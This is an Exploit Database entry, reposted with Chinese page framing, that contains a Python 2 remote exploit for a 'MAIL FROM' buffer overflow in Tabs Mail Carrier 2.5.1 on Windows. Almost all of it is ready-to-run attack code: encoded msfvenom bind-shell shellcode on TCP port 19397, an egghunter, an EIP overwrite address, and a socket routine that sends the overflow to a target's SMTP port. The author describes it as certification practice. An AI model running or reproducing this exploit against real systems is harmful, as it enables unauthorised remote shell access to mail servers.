Mail Carrier 2.5.1 – ‘MAIL FROM’ Buffer Overflow

Exploit Database
110 阅读

作者： Joseph McDonagh

日期： 2019-03-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/46547/

100

101

102

103

104

105

106

107

108

109

110

111

112

# Exploit Title: Tabs Mail Carrier 2.5.1 MAIL FROM: Buffer Overflow

# Date: March 14, 2019

# Exploit Author: Joseph McDonagh

# Vendor Homepage: N/A

# Software Link: N/A

# Version: Mail Carrier 2.5.1

# Tested on: Windows Vista Home Basic SP2

# CVE: None

#!/usr/bin/python

# This script started from PWK, Chapter 6

# I am re-purposing it Tabs Mail Carrier 2.5.1 OSCE practice

# During testing, I found the MAIL FROM: is also vulnerable to Buffer Overflow

# Thanks to the original authors of the EHLO parameter, gave me the

starting point and nudge I needed

# Usage ./tabs_mail.pwn.py 192.168.1.66

# Bind shell on TCP port 19397

# Tested on Windows Vista Home Basic SP 2

import sys

import socket

import time

if len(sys.argv) < 2:

print "[-]Usage: %s <target addr> " % sys.argv[0]

sys.exit(0)

ipaddr=sys.argv[1]

port=25

callebx="\xb1\x32\x9c\x0f"

sled="\x90" * 8

egg="T00WT00W"

pay=egg

#msfvenom -p windows/shell_bind_tcp LPORT=19397 -b='\x00' -e

x86/shikata_ga_nai -f py | sed 's/buf/pay/g'

#[-] No platform was selected, choosing Msf::Module::Platform::Windows

from the payload

#[-] No arch selected, selecting arch: x86 from the payload

#Found 1 compatible encoders

#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

#x86/shikata_ga_nai succeeded with size 355 (iteration=0)

#x86/shikata_ga_nai chosen with final size 355

#Payload size: 355 bytes

#Final size of py file: 1710 bytes

pay += "\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x53\xbe\x8c"

pay += "\x69\xbd\xa0\x31\x72\x17\x03\x72\x17\x83\x4e\x6d\x5f"

pay += "\x55\xb2\x86\x1d\x96\x4a\x57\x42\x1e\xaf\x66\x42\x44"

pay += "\xa4\xd9\x72\x0e\xe8\xd5\xf9\x42\x18\x6d\x8f\x4a\x2f"

pay += "\xc6\x3a\xad\x1e\xd7\x17\x8d\x01\x5b\x6a\xc2\xe1\x62"

pay += "\xa5\x17\xe0\xa3\xd8\xda\xb0\x7c\x96\x49\x24\x08\xe2"

pay += "\x51\xcf\x42\xe2\xd1\x2c\x12\x05\xf3\xe3\x28\x5c\xd3"

pay += "\x02\xfc\xd4\x5a\x1c\xe1\xd1\x15\x97\xd1\xae\xa7\x71"

pay += "\x28\x4e\x0b\xbc\x84\xbd\x55\xf9\x23\x5e\x20\xf3\x57"

pay += "\xe3\x33\xc0\x2a\x3f\xb1\xd2\x8d\xb4\x61\x3e\x2f\x18"

pay += "\xf7\xb5\x23\xd5\x73\x91\x27\xe8\x50\xaa\x5c\x61\x57"

pay += "\x7c\xd5\x31\x7c\x58\xbd\xe2\x1d\xf9\x1b\x44\x21\x19"

pay += "\xc4\x39\x87\x52\xe9\x2e\xba\x39\x66\x82\xf7\xc1\x76"

pay += "\x8c\x80\xb2\x44\x13\x3b\x5c\xe5\xdc\xe5\x9b\x0a\xf7"

pay += "\x52\x33\xf5\xf8\xa2\x1a\x32\xac\xf2\x34\x93\xcd\x98"

pay += "\xc4\x1c\x18\x34\xcc\xbb\xf3\x2b\x31\x7b\xa4\xeb\x99"

pay += "\x14\xae\xe3\xc6\x05\xd1\x29\x6f\xad\x2c\xd2\xc4\xeb"

pay += "\xb8\x34\xb0\xe3\xec\xef\x2c\xc6\xca\x27\xcb\x39\x39"

pay += "\x10\x7b\x71\x2b\xa7\x84\x82\x79\x8f\x12\x09\x6e\x0b"

pay += "\x03\x0e\xbb\x3b\x54\x99\x31\xaa\x17\x3b\x45\xe7\xcf"

pay += "\xd8\xd4\x6c\x0f\x96\xc4\x3a\x58\xff\x3b\x33\x0c\xed"

pay += "\x62\xed\x32\xec\xf3\xd6\xf6\x2b\xc0\xd9\xf7\xbe\x7c"

pay += "\xfe\xe7\x06\x7c\xba\x53\xd7\x2b\x14\x0d\x91\x85\xd6"

pay += "\xe7\x4b\x79\xb1\x6f\x0d\xb1\x02\xe9\x12\x9c\xf4\x15"

pay += "\xa2\x49\x41\x2a\x0b\x1e\x45\x53\x71\xbe\xaa\x8e\x31"

pay += "\xce\xe0\x92\x10\x47\xad\x47\x21\x0a\x4e\xb2\x66\x33"

pay += "\xcd\x36\x17\xc0\xcd\x33\x12\x8c\x49\xa8\x6e\x9d\x3f"

pay += "\xce\xdd\x9e\x15"

egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# Build the Buffer

buffer="A" * 700 # 5088 to EIP

buffer+=pay

buffer+="B" * (5088 - (700 + len(pay)))

buffer+=callebx # Overwrite EIP with Call EBX in c:\Windows\System32\expsrv.dll

buffer+=sled # 5100 bytes mark

buffer+="C" * 516 # This put us at the EBX register

buffer+=sled # NOPS

buffer+=egghunter

buffer+="D" * (5900 - len(buffer)) # Padding

try:

print "[-] Attacking Tab MailC Carrier MAIL FROM: with %s bytes" %len(buffer)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect ((ipaddr, port)) # Connect to IP & SMTP port

s.recv(1024) # receive banner

s.send('EHLO root@localhost \r\n') # send EHLO

s.recv(1024) # receive reply

s.send('MAIL FROM: ' + buffer + '\r\n') # Send the phony Mail From

s.recv(1024)

s.send('RCPT TO: evelyn@evelyn \r\n')

s.send('QUIT\r\n')

s.close()

time.sleep(1)

print "[-] Done!"

except:

print "[-] Could not connect to target"

exit()